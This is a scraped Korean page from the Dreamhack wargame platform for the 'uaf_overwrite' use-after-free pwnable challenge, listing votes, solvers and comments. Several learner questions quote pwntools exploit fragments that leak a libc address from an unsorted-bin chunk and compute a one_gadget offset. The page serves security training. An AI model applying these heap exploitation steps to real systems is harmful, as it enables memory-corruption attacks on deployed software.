학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
Beta
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
커리어
Beta
기업 서비스로 이동하기 >
LEVEL 2
uaf_overwrite
pwnable
2154
984
로그인 하고 문제 풀기
문제 정보
풀이
44
난이도 투표
63
질문
14
최근 풀이자
984
댓글
27
문제 설명
Description
Exploit Tech: Use After Free에서 실습하는 문제입니다.
Challenge Updates
2023.04.27: Dockerfile이 제공됩니다.
Translate
출제자 정보
Dreamhack
대표 업적 없음
2021.12.08. 17:27:01
First Blood!
st4rlight
안드로이드
출제된 지
4시간
만에 풀이 완료!
난이도 투표
63
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 13
sealhorse
대표 업적 없음
LEVEL 3에 투표했습니다.
13일 전
우도우도
대표 업적 없음
LEVEL 3에 투표했습니다.
15일 전
qkrwngud
대표 업적 없음
LEVEL 3에 투표했습니다.
1개월 전
짜파게티엔파김치
대표 업적 없음
LEVEL 3에 투표했습니다.
3개월 전
spypsy
워게임: 1
LEVEL 3에 투표했습니다.
4개월 전
질문
14
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
one gadget 질문있습니다.
만약 이러한 유형의 문제에서 해당하는 libc의 one gadget이 다 안 먹힌다면 어떠한 방식으로 익스플로잇이 가능할까요?
5un9hun
답변
1
추천
4
3년 전
libc 버전
unsorted bin에서 설정되는 FD값의 main_arena_xx 값과 one_gadget offset을 구하기위해 libc 버전이 필요한거 같은데, 강의대로 진행하며 libc버전을 구할 수 있는 방법이 궁금합니다.
juntheworld
답변
1
추천
4
3년 전
탑 청크 병합 관련 질문
해당 문제 강의에서 custom_func 함수는 0x100 바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제할 수 있는 함수이고 0x410 이하의 크기를 갖는 청크는 tcache에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산할 수 있다 하였습니다. 그리고 unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합되어 이를 피하려면 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 한다고 했습니다. custom(0x500, "AAAA", -1) custom(0x500, "AAAA", -1) custom(0x500, "AAAA", 0) custom(0x500, "B", -1) 그런데 탑 청크와 인접하지 않기 위함이면 아래와 같이 해도 괜찮지 않을까 생각했습니다. custom(0x500, "AAAA", -1) custom(0x500, "AAAA", 0) custom(0x500, "B", -1) 실제로 수정하여 했을 때 정상작동 하였는데 혹시 강의 코드와 같이 작성하는 이유가 따로 있을까요?
semon
답변
1
추천
4
2년 전
도아주새요
강의에서 커스텀 함수로 libc 주소를 구하는데 커스텀 함수중 한곳만 idx(0)를 놓는이유는 무엇인가요? def custom(size, data, idx): p.sendlineafter(">", "3") p.sendlineafter(": ", str(size)) p.sendafter(": ", data) p.sendlineafter(": ", str(idx)) UAF to calculate the libc_base custom(0x500, "AAAA", -1) custom(0x500, "AAAA", -1) custom(0x500, "AAAA", 0) custom(0x500, "B", -1)
탈퇴한 이용자
답변
1
추천
3
2년 전
one_gadget
바로 앞 강의에서의 코드에서 process 부분을 remote라고만 변경하면 문제가 풀리기는 하는데... 직전 강의에서 바이너리 파일을 이용했을 때는 og = lb + 0x10a41c 부분에 0x10a41c 대신 제가 직접 구한 one_gadget을 넣어줘야 했습니다. 그런데 여기서는 직접 구한 one_gadget을 넣어주면 안 되네요. 그렇다면 0x10a41c는 어디서 나온 값인지 알 수 있을까요?
oxo
답변
1
추천
3
3년 전
Offset 0x3ebc42 질문입니다.
Offset 값을 찾아 보려고 해도, __malloc_free 로도 맞지 않는데, 어떻게 구했는지 알수 있을까요?
동키
답변
1
추천
1
3년 전
어디서 main_arena 주소가 출력 되는 것인가요?
아래는 강의에서 나온 코드인데요.. fd나 bk에 있는 주소를 받는 부분 앞에서 free idx까지 입력을 해서 데이터가 나올 곳이 없는데 도대체 어떻게 주소를 받는 것인가요? 그리고 제가 data까지 입력을 한 뒤 데이터가 나올 때 그 데이터를 받도록 추가적으로 코드를 설계 했는데 엉뚱한 값을 받는 것 같아요.. 도와주세요 from pwn import * p = process("./uaf_overwrite") def slog(sym, val): success(sym + ": " + hex(val)) def human(weight, age): p.sendlineafter(">", "1") p.sendlineafter(": ", str(weight)) p.sendlineafter(": ", str(age)) def robot(weight): p.sendlineafter(">", "2") p.sendlineafter(": ", str(weight)) def custom(size, data, idx): p.sendlineafter(">", "3") p.sendlineafter(": ", str(size)) p.sendafter(": ", data) p.sendlineafter(": ", str(idx)) UAF to calculate the libc_base custom(0x500, "AAAA", -1) custom(0x500, "AAAA", -1) custom(0x500, "AAAA", 0) custom(0x500, "B", -1) # data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다. lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42 og = lb + 0x10a41c slog("libc_base", lb) slog("one_gadget", og) `
p6rkdoye0n
답변
1
추천
1
2년 전
익스 성공 후
image.png 이렇게 무한루프 내에서 따인걸로 떠서 명령어 치면 무한루프 재생되는데 어떻게 해야되나여..
mooji
답변
1
추천
0
1년 전
gdb 상에서 fd값 차이
0x555555603260: 0x00007ffff7dc0a42 0x00007ffff7dcdca0 위는 Chunk에 데이터 B를 입력한 후 heap을 통해 확인한 값입니다. 왜 fd값이 0x00007ffff7dcdc42가 아닌 0x00007ffff7dc0a42으로 나오나요??
han76
답변
1
추천
0
7개월 전
죄송한데 혹시 uaf 이용해서 풀 수 있는 문제 맞나요?
정말 여러가지 다 해보고 코드도 writeup 보고 따라해서 써보고 복붙도 해봤는데 전부 안되네요.. ptmalloc2가 구현된 GLIBC 버전에 따라서 기법이 많이 달라지는걸로 알고 있거든요.. 혹시 버전이 업데이트 돼서 안되는건가요? 아니면 제가 그냥 못 푸는건가요?..
p6rkdoye0n
답변
1
추천
0
2년 전
«
‹
1
2
›
»
최근 풀이자
984
eheka78
대표 업적 없음
3일 전
hojune02
대표 업적 없음
3일 전
Glcuk
대표 업적 없음
3일 전
vani5hing
대표 업적 없음
5일 전
pwn0x01
대표 업적 없음
5일 전
서경대김재중
대표 업적 없음
5일 전
bintable
워게임 고인물
6일 전
do1e
강의 수강: 1
8일 전
pandas
시스템 해킹 입문
9일 전
해킹다까먹음
강의 수강: 10
9일 전
«
‹
1
2
3
4
5
›
»
댓글
27
사용자
해결사
1년 전
좋은 연습문제입니다
Translate
포고로모
대표 업적 없음
1년 전
libc base 구하는 곳에서 대가리 실컷 깨지면서 많이 배웠습니다. 여러분도 머리 좀 깨지십쇼 저는 가봅니다
Translate
Rosieblue
워게임 고인물
1년 전
good
Translate
UKO
2022 Christmas CTF 운영
2년 전
어려워요..
Translate
Ox0ne
대표 업적 없음
2년 전
강의를 보고 하긴 했는데.,,libc주소 구하는 과정에서 필요한 지식이 너무 많아짐..ㅠ
Translate
Index
워게임: 1
2년 전
이게 왜 레벨1..?
Translate
msh1307
대표 업적 없음
2년 전
: )
Translate
sinse100
대표 업적 없음
2년 전
dsfd
Translate
For_Freedom
워게임 고인물
2년 전
ㅎㅎ
Translate
Rasser
워게임: 20
3년 전
ezez
Translate
«
‹
1
2
3
›
»
댓글 27